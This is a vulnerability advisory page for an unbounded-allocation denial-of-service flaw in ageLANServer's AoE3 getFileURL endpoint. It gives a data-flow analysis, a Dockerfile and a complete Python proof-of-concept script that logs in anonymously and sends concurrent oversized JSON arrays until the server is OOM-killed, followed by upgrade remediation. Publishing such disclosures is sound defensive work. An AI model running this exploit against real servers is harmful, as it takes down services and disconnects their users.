CVE-2026-107839: ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service

Published Oct 9, 2026
·
Updated

Summary The AoE3 POST /game/cloud/getFileURL handler in luskaner/ageLANServer's bundled game server decodes an attacker-controlled names JSON array and immediately allocates response storage sized directly from the array's length (make(i.A, len(req.Names.Data))), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with Authentication = 'disabled', any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).

Details server/internal/routes/game/cloud/getFileURL.go defines the request struct and handler for the AoE3 cloud "get file URL" endpoint:

go type getFileURLRequest struct { Names i.Json[[]string] json:"names" }

func GetFileURL(w http.ResponseWriter, r http.Request) { var req getFileURLRequest err := i.Bind(r, &req) ... descriptions := make(i.A, len(req.Names.Data)) for j, name := range req.Names.Data { ...

Names is typed as i.Json[[]string], a wrapper whose UnmarshalText is invoked by encoding/json whenever the incoming JSON value for names is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. {"names":"[\"x\",\"x\",...]"}). The request body is decoded in server/internal/http.go's Bind() via json.NewDecoder(r.Body).Decode(data), with no http.MaxBytesReader, no LimitReader, and no MaxHeaderBytes configured on the http.Server in server/internal/cmd/root.go. There is also no branch-neutral cap on len(req.Names.Data) — the same unbounded length is also used at getFileURL.go:27 (slices.Repeat(i.A{nil}, len(req.Names.Data)) when the cloud file cache is empty) in addition to the make(i.A, len(req.Names.Data)) sink at line 30.

Because len() on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.

Reaching this code path requires only a valid session, not real game ownership or credentials: - The endpoint is registered for the AoE3 title at server/internal/routes/router/game.go:267. - server/internal/routes/router/sessionMiddleware.go:23-36 only checks that sessionID resolves to an existing session — it performs no additional authorization. - The default configuration server/resources/config/config.toml sets Authentication = 'disabled'. Combined with server/internal/routes/game/login/platformlogin.go, which issues a session for any client-supplied accountType/platformUserID without verifying it against a real platform, an attacker can obtain a valid sessionID with a single unauthenticated platformlogin request and no prior credentials.

Data flow (source → sink): 1. server/resources/unix/startage3.sh:4 (or startage3.bat) starts the release server with -e age3, the default supported way to run the AoE3 server. 2. server/internal/routes/router/game.go:267 registers POST /game/cloud/getFileURL. 3. server/internal/routes/router/sessionMiddleware.go:23-36 accepts any request bearing a valid sessionID. 4. server/internal/http.go decodes the JSON body into getFileURLRequest with no size limiting. 5. server/internal/routes/game/cloud/getFileURL.go:13-19 binds the attacker-controlled names array into req.Names. 6. server/internal/routes/game/cloud/getFileURL.go:27 and :30 allocate slices sized directly by len(req.Names.Data).

PoC Environment: Docker (see Dockerfile), which builds the unmodified server and genCert binaries directly from the repository source at commit 405b9a9 (equivalent to the previously reported 870b90c) and starts the AoE3 server (./server -e age3) with the shipped default configuration (Authentication = 'disabled'), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.

Build and run: bash docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001

Attack script: poc.py (see file for full source). At a high level it: 1. Calls POST /game/login/platformlogin with an arbitrary Steam-style accountType/platformUserID/macAddress to obtain a session id, exploiting the default Authentication = 'disabled' setting. 2. Sends a small baseline POST /game/cloud/getFileURL?sessionID=<id> request (names array with 5 elements) and records server RSS before/after via docker exec ... cat /proc/1/status. 3. Sends a single request with names containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification). 4. Against the same container restarted with --memory=300m, fires 3 concurrent requests each with names containing 3,000,000 elements, then inspects docker inspect state to check for an OOM kill.

bash python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test

Observed results (Phase 2 dynamic reproduction, unmodified source): - Baseline request (names count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB). - Single moderately large request (names count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth). - Concurrent attack phase against the same container limited to --memory=300m: 3 concurrent requests of names count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with RemoteDisconnected: Remote end closed connection without response. docker inspect confirmed the container transitioned from status=running, OOMKilled=false to status=exited, OOMKilled=true, ExitCode=137 — the kernel OOM killer terminated the server process.

No source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped.

Impact This is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server's HTTPS listener — the default and documented way to run ageLANServer for Age of Empires III — can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process.

Reproduction artifacts

Dockerfile

dockerfile syntax=docker/dockerfile:1 VULN-001 PoC image for luskaner/ageLANServer. Builds the unmodified server and genCert binaries straight from the cloned repository source (no source-code edits) and runs the AoE3 game server so the unbounded-allocation "names" array bug in server/internal/routes/game/cloud/getFileURL.go can be triggered over the network exactly as an attacker would. Build context MUST be the ageLANServer repository root, e.g.: docker build -f vuln-001/Dockerfile -t agelan-vuln001 <path-to-repo>

FROM golang:1.26-alpine3.24 AS compiler WORKDIR /app COPY common common COPY battle-server-broadcast battle-server-broadcast COPY server server COPY server-genCert server-genCert Combines tools/server-docker/Dockerfile/server/go.work.template and .../genCert/go.work.template so both the server and genCert binaries (both needed for this PoC) can be built from one module workspace. RUN printf 'go 1.26.0\n\ntoolchain go1.26.5\n\nuse (\n\tcommon\n\tbattle-server-broadcast\n\tserver\n\tserver-genCert\n)\n' > go.work RUN mkdir build RUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix RUN mkdir -p build/resources/certificates RUN go build -o build/server ./server RUN mkdir build/bin RUN go build -o build/bin/genCert ./server-genCert

FROM alpine:3.24 EXPOSE 443/tcp WORKDIR /app/server COPY --from=compiler /app/build/resources resources COPY --from=compiler /app/build/server . genCert must live one directory below the server binary (server/bin/genCert) because it locates the server's resources folder via a relative "../resources" walk from its own executable path (see server-genCert/internal/cmd/root.go), same layout as the project's own tools/server-docker/Dockerfile/genCert/Dockerfile. COPY --from=compiler /app/build/bin bin Authentication stays at the shipped default ('disabled', see server/resources/config/config.toml) - nothing about the vulnerable behavior is modified here. Announcement is turned off only because the sandbox network does not need LAN discovery for this PoC. ENV AGELANSERVERSERVERAnnouncementEnabled=false ENTRYPOINT ["/bin/sh", "-c", "./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 PoC: unbounded memory allocation via the "names" array in the AoE3 POST /game/cloud/getFileURL endpoint of luskaner/ageLANServer (server/internal/routes/game/cloud/getFileURL.go:30).

The handler does: descriptions := make(i.A, len(req.Names.Data)) with req.Names.Data being an attacker-controlled JSON string array decoded with no size/body/array-length limit anywhere in the stack (server/internal/http.go Bind() -> json.NewDecoder(r.Body).Decode()).

This script: 1. Logs in anonymously (Authentication is 'disabled' by default) to obtain a session id via /game/login/platformlogin. 2. Sends a small, harmless getFileURL request as a baseline. 3. Sends a single moderately large getFileURL request and measures the server process RSS growth relative to the request body size (memory amplification evidence). 4. Sends several large getFileURL requests concurrently against a memory-constrained container and checks whether Docker's cgroup OOM killer terminates the server process (crash evidence).

Only targets 127.0.0.1 / a local Docker container. No external hosts are contacted, no credentials are used, and the target repository source code is never modified. """

import argparse import concurrent.futures import http.client import json import ssl import subprocess import sys import time import urllib.parse

DEFAULTHOST = "127.0.0.1" DEFAULTSNIHOST = "aoe-api.reliclink.com" # matches common.GameHosts() for age3

def makeconnection(host, port, timeout=30): ctx = ssl.createunverifiedcontext() return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)

def platformlogin(host, port, snihost, platformuserid, macsuffix): conn = makeconnection(host, port) body = urllib.parse.urlencode({ "accountType": "STEAM", "platformUserID": str(platformuserid), "alias": "poc", "title": "age3", "macAddress": "00:11:22:33:44:%02x" % macsuffix, "clientLibVersion": "100", }) headers = { "Content-Type": "application/x-www-form-urlencoded", "Host": snihost, } conn.request("POST", "/game/login/platformlogin", body=body, headers=headers) resp = conn.getresponse() data = resp.read() conn.close() parsed = json.loads(data) sessionid = parsed[1] if not sessionid: raise RuntimeError("platformlogin did not return a session id: %r" % (parsed,)) return sessionid

def buildgetfileurlbody(namescount): # getFileURLRequest.Names is i.Json[[]string]; i.Json.UnmarshalText is # invoked by encoding/json only when the JSON value is itself a string, # so the array must be double-encoded: {"names": "[\"x\",\"x\",...]"}. inner = ",".join([r'\"x\"'] namescount) return ('{"names":"[' + inner + ']"}').encode()

def sendgetfileurl(host, port, snihost, sessionid, namescount, timeout=30): body = buildgetfileurlbody(namescount) conn = makeconnection(host, port, timeout=timeout) path = "/game/cloud/getFileURL?sessionID=%s" % urllib.parse.quote(sessionid) headers = { "Content-Type": "application/json", "Host": snihost, } start = time.time() try: conn.request("POST", path, body=body, headers=headers) resp = conn.getresponse() data = resp.read() elapsed = time.time() - start return { "ok": True, "status": resp.status, "responsebytes": len(data), "requestbytes": len(body), "elapsedsec": round(elapsed, 3), } except Exception as exc: elapsed = time.time() - start return { "ok": False, "error": "%s: %s" % (type(exc).name, exc), "requestbytes": len(body), "elapsedsec": round(elapsed, 3), } finally: try: conn.close() except Exception: pass

def dockerexecrsskb(container): try: out = subprocess.run( ["docker", "exec", container, "cat", "/proc/1/status"], captureoutput=True, text=True, timeout=10, ) if out.returncode != 0: return None for line in out.stdout.splitlines(): if line.startswith("VmRSS:"): return int(line.split()[1]) except Exception: return None return None

def dockerinspectstate(container): try: out = subprocess.run( ["docker", "inspect", container, "--format", "{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}"], captureoutput=True, text=True, timeout=10, ) if out.returncode != 0: return None status, oomkilled, exitcode = out.stdout.strip().split("|") return { "status": status, "oomkilled": oomkilled == "true", "exitcode": int(exitcode), } except Exception: return None

def main(): parser = argparse.ArgumentParser(description=doc, formatterclass=argparse.RawDescriptionHelpFormatter) parser.addargument("--host", default=DEFAULTHOST, help="Server address (must be local). Default: 127.0.0.1") parser.addargument("--port", type=int, default=8443, help="Server HTTPS port as published by Docker. Default: 8443") parser.addargument("--sni-host", default=DEFAULTSNIHOST, help="Host header the server routes as the Game handler") parser.addargument("--container", default="agelan-vuln001-test", help="Docker container name to inspect for OOM / RSS evidence") parser.addargument("--baseline-names-count", type=int, default=5, help="Array length for the harmless baseline request") parser.addargument("--moderate-names-count", type=int, default=2000000, help="Array length for the single non-destructive amplification request") parser.addargument("--attack-names-count", type=int, default=3000000, help="Array length per concurrent request in the crash phase") parser.addargument("--attack-concurrency", type=int, default=3, help="Number of concurrent oversized requests fired at the container") parser.addargument("--skip-crash-phase", action="storetrue", help="Only run the baseline + amplification phases (no OOM attempt)") args = parser.parseargs()

result = {"host": args.host, "port": args.port, "container": args.container}

print("== Phase 1: anonymous login (Authentication='disabled' by default) ==") sessionbaseline = platformlogin(args.host, args.port, args.snihost, 7656119800000101, 0x01) print("Obtained session id: %s" % sessionbaseline) result["sessionidbaseline"] = sessionbaseline

print("\n== Phase 2: baseline getFileURL request (names count=%d) ==" % args.baselinenamescount) rssbeforebaseline = dockerexecrsskb(args.container) baselineresp = sendgetfileurl(args.host, args.port, args.snihost, sessionbaseline, args.baselinenamescount) rssafterbaseline = dockerexecrsskb(args.container) print("Response: %s" % baselineresp) print("Server RSS before/after (KB): %s / %s" % (rssbeforebaseline, rssafterbaseline)) result["baseline"] = { "response": baselineresp, "serverrsskbbefore": rssbeforebaseline, "serverrsskbafter": rssafterbaseline, }

print("\n== Phase 3: single moderately large getFileURL request (names count=%d) ==" % args.moderatenamescount) sessionmoderate = platformlogin(args.host, args.port, args.snihost, 7656119800000102, 0x02) rssbeforemoderate = dockerexecrsskb(args.container) moderateresp = sendgetfileurl(args.host, args.port, args.snihost, sessionmoderate, args.moderatenamescount) rssaftermoderate = dockerexecrsskb(args.container) print("Response: %s" % moderateresp) print("Server RSS before/after (KB): %s / %s" % (rssbeforemoderate, rssaftermoderate)) amplification = None if rssaftermoderate is not None and rssbeforemoderate is not None and moderateresp.get("requestbytes"): rssgrowthkb = rssaftermoderate - rssbeforemoderate amplification = round((rssgrowthkb 1024) / moderateresp["requestbytes"], 2) print("Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)" % ( rssgrowthkb, moderateresp["requestbytes"], amplification)) result["moderateamplification"] = { "response": moderateresp, "serverrsskbbefore": rssbeforemoderate, "serverrsskbafter": rssaftermoderate, "amplificationratio": amplification, }

if args.skipcrashphase: print(json.dumps(result, indent=2)) return 0

print("\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==") statebefore = dockerinspectstate(args.container) print("Container state before attack: %s" % statebefore) result["containerstatebeforeattack"] = statebefore

sessions = [] for idx in range(args.attackconcurrency): sess = platformlogin(args.host, args.port, args.snihost, 7656119800000200 + idx, 0x10 + idx) sessions.append(sess) print("Obtained %d attacker sessions: %s" % (len(sessions), sessions))

attackresponses = [] with concurrent.futures.ThreadPoolExecutor(maxworkers=args.attackconcurrency) as pool: futures = [ pool.submit(sendgetfileurl, args.host, args.port, args.snihost, sess, args.attacknamescount, 60) for sess in sessions ] for fut in concurrent.futures.ascompleted(futures): attackresponses.append(fut.result()) print("Attack request outcomes: %s" % attackresponses) result["attackresponses"] = attackresponses

stateafter = None for in range(15): time.sleep(1) stateafter = dockerinspectstate(args.container) if stateafter and stateafter["status"] != "running": break print("Container state after attack: %s" % stateafter) result["containerstateafterattack"] = stateafter

oomkilled = bool(stateafter and stateafter.get("oomkilled")) result["oomkilled"] = oomkilled result["verdict"] = "VULNERABLE (container OOM-killed by attacker-controlled allocation)" if oomkilled else "NOT REPRODUCED (container survived)"

print("\n== Result ==") print(json.dumps(result, indent=2)) return 0 if oomkilled else 1

if name == "main": sys.exit(main())

Other sources

ageLANServer provides a cross-platform web server and launcher for offline multiplayer in several Age of Empires and Age of Mythology games. Prior to version 1.15.2, the AoE3 POST /game/cloud/getFileURL handler in the bundled game server has no request body size limit or cap on the attacker-controlled JSON names array and allocates response storage directly from the unbounded array length. A remote unauthenticated client can use the default self-registration flow and send an oversized request that causes excessive memory allocation, crashes or hangs the server process, disconnects active players, and keeps the service unavailable until it is restarted. This issue is fixed in version 1.15.2.

— MITRE

Affected Software

2 affected componentsFixes available
ageLANServer ageLANServer<1.15.2
go/github.com/luskaner/ageLANServer/server<1.8.2-0.20260809203301-1dd40166a593
1.8.2-0.20260809203301-1dd40166a593

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/luskaner/ageLANServer/server to a version that resolves this vulnerability.

    Fixed in 1.8.2-0.20260809203301-1dd40166a593
  2. Upgrade

    Upgrade luskaner/ageLANServer to a version that resolves this vulnerability.

    Fixed in 1.15.2

Event History

Oct 9, 2026
CVE Published
via MITRE·05:58 PM
Data Sourced
via MITRE·05:58 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:44 PM
Data Sourced
via GitHub·08:44 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to exploitation?

Instances running a version prior to 1.15.2 are exposed through the bundled AoE3 game server's POST /game/cloud/getFileURL endpoint. A remote client does not need prior authentication because the default self-registration flow can be used.

2

What does an attacker need to do to trigger the issue?

The attacker must send an oversized request containing a large JSON names array to the affected endpoint. The server allocates response storage based directly on the attacker-controlled array length, which can exhaust memory and crash or hang the process.

3

Are default deployments affected?

Yes. The described attack can use the default self-registration flow, so authentication is not a protective requirement for exploitation.

4

How can I remediate the vulnerability?

Upgrade ageLANServer to version 1.15.2, which fixes the issue. The provided data does not identify a workaround for installations that cannot be upgraded immediately.

5

What is the operational impact if exploitation succeeds?

The server process may crash or hang, active players can be disconnected, and the service remains unavailable until the process is restarted.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203